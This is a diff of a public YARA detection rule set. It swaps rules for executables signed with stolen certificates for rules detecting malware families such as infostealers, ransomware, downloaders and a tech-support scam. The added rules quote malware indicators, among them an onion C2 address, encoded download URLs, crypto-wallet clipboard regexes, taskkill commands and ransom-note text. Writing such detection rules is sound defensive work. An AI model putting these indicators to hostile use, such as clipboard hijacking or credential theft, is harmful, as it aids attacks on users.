+		logic_hash = "9acab5dadee0760431376075450f54bbb32ebed10dc928db91a44d069afc1576"
+		score = 50
+		quality = 73
+		tags = ""
+
+	strings:
+		$x1 = "://t.me/x4ran" ascii wide nocase
+		$x2 = "43JuFUyzfcKQwTzCTHpQoA8uLGtbwFBLyeeXoYEEU5dZLhLT1cZJDk4cytjcgQT7kdjSerJqpEp2gUcH91bjLcoq2bqik3j" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fubon Technologies Ltd" and pe.signatures[i].serial=="07:ce:f6:6a:71:c3:5b:c3:ae:d6:d1:00:c6:49:38:63")
+		any of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D3356318924C8C42959Bf1D1574E6482 : FILE
+rule DITEKSHEN_MALWARE_Win_HUNT_Ghostemperor_Remotecontrolpayload : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Attempt on hunting GhostEmperor Stage 4 Remote Control Payload"
 		author = "ditekSHen"
-		id = "7e23e9cf-5a34-55bb-a88d-4c0aef411372"
-		date = "2023-12-08"
-		modified = "2023-12-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4888-L4899"
+		id = "d30a2aad-8bd6-5291-a31d-7dade250e57e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
+		reference = "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8045-L8052"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "86ca8da7e9e704f64be8ecd9e270108337d28b540ba8cd669a8d536ccfefea95"
-		score = 75
+		logic_hash = "dabce4e0add0d05b4efd8e7540e4f14767c7b5fab361bd731234dd9dd844c658"
+		score = 50
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e21f261f5cf7c2856bd9da5a5ed2c4e2b2ef4c9a"
-		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ADV TOURS d.o.o." and pe.signatures[i].serial=="00:d3:35:63:18:92:4c:8c:42:95:9b:f1:d1:57:4e:64:82")
+		uint16(0)==0x5a4d and pe.is_dll() and pe.number_of_exports==2 and pe.exports("1") and pe.exports("__acrt_iob_func")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_038Fc745523B41B40D653B83Aa381B80 : FILE
+rule DITEKSHEN_MALWARE_Win_Unicorn : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Unicorn infostealer"
 		author = "ditekSHen"
-		id = "ed7581eb-52e7-5216-86a2-079bc5741b05"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7cc8298d-abbd-5dda-bbd4-8b061095c367"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4901-L4912"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8077-L8107"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b760525c38610b8a5cc990335122eab81cb895dc523908ef841c5c3117a1a372"
+		logic_hash = "c4150b213c0dd88c87eb81e3ad455d8f658a57b0998bc6e394c5afac9423d9f2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "05124a4a385b4b2d7a9b58d1c3ad7f2a84e7b0af"
-		importance = 20
+
+	strings:
+		$x1 = "WinHTTP Downloader/1.0" fullword wide
+		$x2 = "[CTRL + %c]" fullword wide
+		$x3 = "\\UnicornLog.txt" fullword wide
+		$x4 = "/*INITIALIZED*/" fullword wide
+		$s1 = { 2f 00 63 00 20 00 22 00 43 00 4f 00 50 00 59 00
+               20 00 2f 00 59 00 20 00 2f 00 42 00 20 00 22 00
+               25 00 73 00 22 00 20 00 22 00 25 00 73 00 22 00
+               22 00 00 00 63 00 6d 00 64 00 2e 00 65 00 78 00
+               65 }
+		$s2 = { 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00
+               2e 00 65 00 78 00 65 00 00 00 00 00 25 00 73 00
+               20 00 22 00 25 00 73 00 22 00 2c 00 25 00 68 00
+               73 }
+		$s3 = "%*[^]]%c%n" fullword ascii
+		$s4 = "file://%s%s%s" fullword ascii
+		$s5 = "%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
+		$s6 = "regex_start_injects" fullword ascii
+		$s7 = "DLEXEC" fullword ascii
+		$s8 = "^((((3|1)[A-Za-z0-9]{33}))(\\s|$)|(bc1q)[A-Za-z0-9]{38}(\\s|$))" fullword ascii
+		$s9 = "^(0x)?[A-Za-z0-9]{40}(\\s|$)" fullword ascii
+		$s10 = "clipRegex" fullword ascii
+		$s11 = "%s?k=%s&src=clip&id=%s" fullword ascii
+		$s12 = "http://izuw6rclbgl2lwsh.onion/o.php" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Optima" and pe.signatures[i].serial=="03:8f:c7:45:52:3b:41:b4:0d:65:3b:83:aa:38:1b:80")
+		uint16(0)==0x5a4d and ( all of ($x*) or 8 of ($s*) or (3 of ($x*) and 5 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ac0A7B9420B369Af3Ddb748385B981 : FILE
+rule DITEKSHEN_MALWARE_Win_Spectre : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Spectre infostealer"
 		author = "ditekSHen"
-		id = "0935fd31-3d8f-57d2-a00e-ad7d5cdbe12d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "43b32900-8dff-5a95-bcff-d6bd17703476"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4914-L4925"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8109-L8124"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "47dca0d0b84dd0d210cf7fdda3bcce796d090e5de3f4266bbed01eebdd397bfa"
+		logic_hash = "ee041928ab5010fd5a06538f9a7cf9c72e44903fdb05f13b12362af0b326fd6f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "15b56f8b0b22dbc7c08c00d47ee06b04fa7df5fe"
-		importance = 20
+		snort_sid = "920233-920234"
+
+	strings:
+		$s1 = "\\../../../json.h" wide
+		$s2 = "static_cast<std::size_t>(index) < kCachedPowers.size()" fullword wide
+		$s3 = " cmd.exe" fullword wide
+		$s4 = "m_it.object_iterator != m_object->m_value.object->end()" fullword wide
+		$h1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" fullword wide
+		$h2 = "----974767299852498929531610575" ascii wide
+		$h3 = "Content-Disposition: form-data; name=\"file\"; filename=\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Tochka" and pe.signatures[i].serial=="00:ac:0a:7b:94:20:b3:69:af:3d:db:74:83:85:b9:81")
+		( uint16(0)==0x5a4d and (( all of ($s*) and 1 of ($h*)) or ( all of ($h*) and 2 of ($s*)))) or (6 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00913Ba16962Cd7Eee25965A6D0Eeffa10 : FILE
+rule DITEKSHEN_MALWARE_Win_HUNT_Blackbyte : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Attempt on hunting BlackByte ransomware"
 		author = "ditekSHen"
-		id = "7a053089-44c8-5f30-8eee-dcd4ba24efe8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c07e9b83-3bbf-52c9-b9fa-ca03f285a906"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4927-L4938"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8126-L8139"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a2e729c053d1a9d5895dc2247ea0804525f8f1744875d5c2f96b4255ad325dc5"
-		score = 75
-		quality = 75
+		logic_hash = "4ceb71e42b888522c183af7e180bae47510fc7aa60a713aa83ffc2c98c03466f"
+		score = 50
+		quality = 57
 		tags = "FILE"
-		thumbprint = "079aeb295c8e27ac8d9be79c8b0aaf66a0ef15de"
-		importance = 20
+
+	strings:
+		$s1 = "WalkDirAndEncrypt" ascii wide nocase
+		$s2 = "FileEncrypt" ascii wide nocase
+		$s3 = "BlackByte." ascii wide nocase
+		$s4 = "EnumerateDirAndEncrypt" ascii wide nocase
+		$s5 = "Dismount-DiskImage" ascii wide nocase
+		$s6 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JMT TRADING GROUP INC" and pe.signatures[i].serial=="00:91:3b:a1:69:62:cd:7e:ee:25:96:5a:6d:0e:ef:fa:10")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_F44A91704F9Ea388446D2635F2A8C8A5 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlinjector05 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects downloader / injector (NiceProcess)"
 		author = "ditekSHen"
-		id = "52f08ec1-fb83-59bc-bb90-2ae12245c0f7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "857eb13b-a882-5326-b7aa-4d2fcd0b6425"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4940-L4953"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8141-L8158"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cec66648ecde5b11a2a20674b2e1f10c8b917ebeb26ddba0ead2b6af45c8519b"
+		logic_hash = "5345c2b03e14b7324a13bac0da783eec8c30da18043c1b2d46162e5b511fae63"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "573514c39bcef5690ab924f9df30577def6e877f"
-		hash1 = "d67dde5621d6de76562bc2812f04f986b441601b088aa936d821c0504eb4f7aa"
-		hash2 = "71f60a985d2cc9fc47c6845a88eea4da19303a96a2ff69daae70276f70dcdae0"
-		importance = 20
+
+	strings:
+		$s1 = "pidhtmpfile.tmp" fullword ascii
+		$s2 = "pidhtmpdata.tmp" fullword ascii
+		$s3 = "pidHTSIG" fullword ascii
+		$s4 = "Taskmgr.exe" fullword ascii
+		$s5 = "[HP][" ascii
+		$s6 = "[PP][" ascii
+		$s7 = { 70 69 64 68 74 6d 70 66 69 6c 65 2e 74 6d 70 00
+                2e 64 6c 6c 00 00 00 00 70 69 64 48 54 53 49 47
+                00 00 00 00 ?? ?? 00 00 54 61 73 6b 6d 67 72 2e
+                65 78 65 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Binance" and pe.signatures[i].serial=="f4:4a:91:70:4f:9e:a3:88:44:6d:26:35:f2:a8:c8:a5")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_029685Cda1C8233D2409A31206F78F9F : FILE
+rule DITEKSHEN_MALWARE_Win_Kutaki : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Kutaki"
 		author = "ditekSHen"
-		id = "2c1d858b-3adc-5c05-bc72-2a6f12f7245e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d91812bb-4564-56b5-9757-81255b5233fb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4955-L4966"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8160-L8173"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a7eec901d92d6126cbc4468d7f2fbccc905f550c7dc8d28b405f583cfde9aea3"
+		logic_hash = "24fbc9ca6de421275813c285a8fca91cfcede48f4b4de9feda010c644f0c251f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "86574b0ef7fbce15f208bf801866f34c664cf7ce"
-		importance = 20
+
+	strings:
+		$x1 = "AASEaHR0cDovL29qb3JvYmlhLmNsdWIvbGFwdG9wL2xhcHRvcC5waHA" ascii
+		$x2 = "aHR0cDovL3RlcmViaW5uYWhpY2MuY2x1Yi9zZWMva29vbC50eHQ" ascii
+		$s1 = "wewqeuuiwe[XXXXXXX]" ascii
+		$s2 = "alt|aHR0cD" ascii
+		$s3 = "<rdf:Description about='uuid:fb761dc9-9daf-11d9-9a32-fcf1da45dca2'" ascii
+		$s4 = "<rdf:Description about='uuid:0ab54f47-96d6-11d9-a59c-cbc93330e07e'" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KOTO TRADE" and pe.signatures[i].serial=="02:96:85:cd:a1:c8:23:3d:24:09:a3:12:06:f7:8f:9f")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 1 of ($s*)) or ( all of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Aebe117A13B8Bca21685Df48C74F584D : FILE
+rule DITEKSHEN_MALWARE_Win_Dlinjector06 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects downloader / injector"
 		author = "ditekSHen"
-		id = "2b9c40e8-9c0e-523d-b746-4e31d0a780e0"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9d8164ee-49b3-5eb1-bd1d-9437fc6f1392"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4968-L4979"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8175-L8189"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cb17c6f311d88125ad0c790c61fe0dd1ffbdefdbea45ffb54c47da5d98f99900"
+		logic_hash = "e44ea8dbb94c6cd3b63d66eac3e9b3d6d5ff7d561410b8328e6c24630645305b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4dc9713dfb079fbae4173d342ebeb4efb9b0a4dc"
-		importance = 20
+
+	strings:
+		$s1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" ascii wide
+		$s2 = "Content-Type: application/x-www-form-urlencoded" wide
+		$s3 = "https://ipinfo.io/" wide
+		$s4 = "https://db-ip.com/" wide
+		$s5 = "https://www.maxmind.com/en/locate-my-ip-address" wide
+		$s6 = "https://ipgeolocation.io/" wide
+		$s7 = "POST" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NANAX d.o.o." and pe.signatures[i].serial=="00:ae:be:11:7a:13:b8:bc:a2:16:85:df:48:c7:4f:58:4d")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_38989Ec61Ecdb7391Ff5647F7D58Ad18 : FILE
+rule DITEKSHEN_MALWARE_Win_Crown : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Crown Tech Support Scam"
 		author = "ditekSHen"
-		id = "40c742ec-f683-57fe-bb35-7c44617f9199"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ac4551d0-a574-5287-9b37-899c736db792"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4981-L4992"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8191-L8211"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f2108c41c814a815047268d9934a01231936a1cf73cbb92476eb96c9fe4b1091"
+		logic_hash = "eeb36993c93d76ed118643ee417f15e1768015f72464dbabca7ae001f64a0aef"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "71e74a735c72d220aa45e9f1b83f0b867f2da166"
-		importance = 20
+		snort_sid = "920251-920261"
+
+	strings:
+		$d1 = "//prodownload.live" ascii
+		$c1 = "&uid=" ascii
+		$c2 = "&ver=" ascii
+		$c3 = "&mcid=" ascii
+		$c4 = ".php?uid=" ascii
+		$c5 = ".php?ip=" ascii
+		$s1 = "Operating System Support ID:" ascii
+		$s2 = "taskkill /IM explorer.exe -f" ascii nocase
+		$s3 = "/C taskkill /IM Taskmgr.exe -f" ascii nocase
+		$s4 = "FastSuport" fullword ascii
+		$s5 = "Support Override!" fullword wide
+		$s6 = "Support Assistance Override Activated!" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RotA Games ApS" and pe.signatures[i].serial=="38:98:9e:c6:1e:cd:b7:39:1f:f5:64:7f:7d:58:ad:18")
+		uint16(0)==0x5a4d and ( all of ($c*) or 4 of ($s*) or (1 of ($d*) and (3 of ($c*) or 2 of ($s*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D08D83Ff118Df3777E371C5C482Cce7B : FILE
+rule DITEKSHEN_MALWARE_Win_Floodfix : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects FloodFix"
 		author = "ditekSHen"
-		id = "d4857ec5-2c99-51f8-a5b8-938c8d83169e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b05b0b40-0de8-58a0-889e-44a12d346de4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4994-L5005"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8213-L8219"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b6c7f5c57c79d11132535bedce77276f67c4f854f5e8ef2c12aced64f8a188d0"
+		logic_hash = "d7da820b00ef5ee2e943b012cfa57421a39f8a7bfc627cc1909151a47092a26d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8a1bcf92ea961b8bc8817b0630f34607ccb5bff2"
-		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMO-K Limited Liability Company" and pe.signatures[i].serial=="00:d0:8d:83:ff:11:8d:f3:77:7e:37:1c:5c:48:2c:ce:7b")
+		uint16(0)==0x5a4d and pe.is_dll() and (pe.exports("FloodFix") or pe.exports("FloodFix2")) and pe.exports("crc32")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_249E3F1B7595E7D0Fe6Df13303287343 : FILE
+rule DITEKSHEN_MALWARE_Win_UNK_Infostealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown information stealer"
 		author = "ditekSHen"
-		id = "3f780428-a482-5201-a7ca-d3608779a5e4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f6f9816f-79bd-527c-9c0f-24e09c95ae35"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5007-L5018"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8221-L8246"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4df122a53f2c1a08d1694c8e64b802f58507bb985f1aed8c91e6d7ad24906fca"
+		logic_hash = "ca57ebf4b56020d278ec8a7e721c72de7a1f925a8e7f1f3a9edc8a70b88ff9d1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8e99b2786f59e543d1f3d02d140e35342c55c18a"
-		importance = 20
+		snort_sid = "920263"
+		hash1 = "b7a2cb34d3bc42d6d4c9d9af7dd406e2a5caef8ea46e5d09773feeb9920a6b21"
+		hash2 = "dd95377842932d77e225b126749e1e6e8ecd6f5c6540d084a551a80a54d02d7d"
+		hash3 = "12f790d9a0775b5e62effc6ea9e55bbef345fffbfb2f671f85098c4f7661dd0f"
+		hash4 = "0a4cea763dffde451c75a434143fc5d014c32c6d1f8f34920ea5f2854e62118f"
+
+	strings:
+		$s1 = "%s\\%s\\%s-Qt" fullword wide
+		$s2 = "%s\\%s.json" fullword wide
+		$s3 = "*.mmd*" fullword wide
+		$s4 = "%s\\%s.vdf" fullword wide
+		$s5 = "%-50s %s" fullword wide
+		$s6 = "dISCORD|lOCAL" fullword ascii nocase
+		$s7 = "sTORAGE|LEVELDB" fullword ascii nocase
+		$s8 = ".coin" fullword ascii
+		$s9 = ".emc" fullword ascii
+		$s10 = ".lib" fullword ascii
+		$s11 = ".bazar" fullword ascii
+		$s12 = "id=%d" fullword ascii
+		$s13 = "2:?/v /v /v /^Y" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "gsLPuSUgRZueWihiZHqYBriNSQqS" and pe.signatures[i].serial=="24:9e:3f:1b:75:95:e7:d0:fe:6d:f1:33:03:28:73:43")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_31D852F5Fca1A5966B5Ed08A14825C54 : FILE
+rule DITEKSHEN_MALWARE_Win_DECAF : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DECAF ransomware"
 		author = "ditekSHen"
-		id = "8d65caa2-ce28-5f9b-b8a5-3fe903dd5628"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c6e4ce00-0be9-572d-987c-c47d699002f0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5020-L5031"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8248-L8268"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e2890f8c623ce15d8a3f996e87be4b73a8cd9f96386ce8d356d7e0fad0342dd3"
+		logic_hash = "5d79a4f310fb00022eb9d636f161227e84a7e15517c4d2c39acafa7d81af5c2a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a657b8f2efea32e6a1d46894764b7a4f82ad0b56"
-		importance = 20
+
+	strings:
+		$s1 = "main.EncWorker" fullword ascii
+		$s2 = "Paths2Encrypt" fullword ascii
+		$s3 = "/cmd/encryptor/main.go" ascii
+		$s4 = "*win.FileUtils; .autotmp_41 *lib.Encryptor; .autotmp_" ascii
+		$s5 = "\"Microsoft Window" fullword wide
+		$s6 = "Legal_Policy_Statement" fullword wide
+		$s7 = ").Encrypt." ascii
+		$s8 = "*struct { F uintptr; pw *os.File; c *" ascii
+		$s9 = ".ListFilesToEnc." ascii
+		$m1 = "WINNER WINNER CHICKEN DINNER" ascii
+		$m2 = "All your servers and computers are encrypted" ascii
+		$m3 = "We guarantee to decrypt one image file for free." ascii
+		$m4 = "We WILL NOT be able to RESTORE them." ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BBT KLA d.o.o." and pe.signatures[i].serial=="31:d8:52:f5:fc:a1:a5:96:6b:5e:d0:8a:14:82:5c:54")
+		uint16(0)==0x5a4d and (4 of ($s*) or 3 of ($m*) or (1 of ($m*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_510C5E540503F30C9Caa3082296Aa452 : FILE
+rule DITEKSHEN_MALWARE_Win_Windealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects WinDealer"
 		author = "ditekSHen"
-		id = "eddbe6f1-fb7c-5129-afb4-6b4d67e39f60"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d4f3b0cc-121e-5032-9721-1e2a86842fa5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5033-L5045"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8270-L8301"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "cb01f31a322572035cf19f6cda00bcf1d8235dcc692588810405d0fc6e8d239c"
-		logic_hash = "9b6ad8b3e90fcd63f86b353e89ce7e6226197bfcb491e2151b8dbf580466076e"
+		logic_hash = "eabc41ea69f142ee7c243cbc75ceda909a722be382ad91a01c805aef637be915"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "3e56a13ceb87243b8b2c5de67da54a3a9e0988d7"
-		importance = 20
+		snort_sid = "920264"
+
+	strings:
+		$d1 = "downfile" fullword ascii
+		$d2 = "getmypath" fullword ascii
+		$d3 = "content-type: monitor" fullword ascii
+		$d4 = "content-type: UsedType" fullword ascii
+		$d5 = "write command error" fullword ascii
+		$d6 = "C:\\WINDOWS\\system32\\kernel32.dll" fullword ascii
+		$l1 = "currentconfig" fullword ascii
+		$l2 = "remotedomain" fullword ascii
+		$l3 = "reserveip" fullword ascii
+		$l4 = "otherinfo" fullword ascii
+		$l5 = "filelen" fullword ascii
+		$l6 = "%s%s.bak" fullword wide
+		$l7 = "localmachine" fullword ascii
+		$l8 = "remoteip" fullword ascii
+		$l9 = "datastate" fullword ascii
+		$l10 = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\%s\\Connection" fullword ascii
+		$s1 = "%s\\%s\\V5_History.dat" fullword wide
+		$s2 = "%s\\%s\\history2.dat" fullword wide
+		$s3 = "%s\\%s\\history.imw" fullword wide
+		$s4 = "%s\\%s\\main.imw" fullword wide
+		$s5 = "%s%d.%d.%d.%dWindows/%u" fullword ascii
+		$s6 = "%s\\%c_%s_tmp" fullword wide
+		$s7 = "%s\\%s\\main.db" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Systems Analysis 360 Ltd" and pe.signatures[i].serial=="51:0c:5e:54:05:03:f3:0c:9c:aa:30:82:29:6a:a4:52")
+		uint16(0)==0x5a4d and ((4 of ($d*) and 1 of ($s*)) or (5 of ($s*) and 1 of ($d*)) or 6 of ($l*) or (pe.exports("DealC") and pe.exports("DealR") and pe.exports("DealS") and 1 of them ))
 }
 import "pe"
 
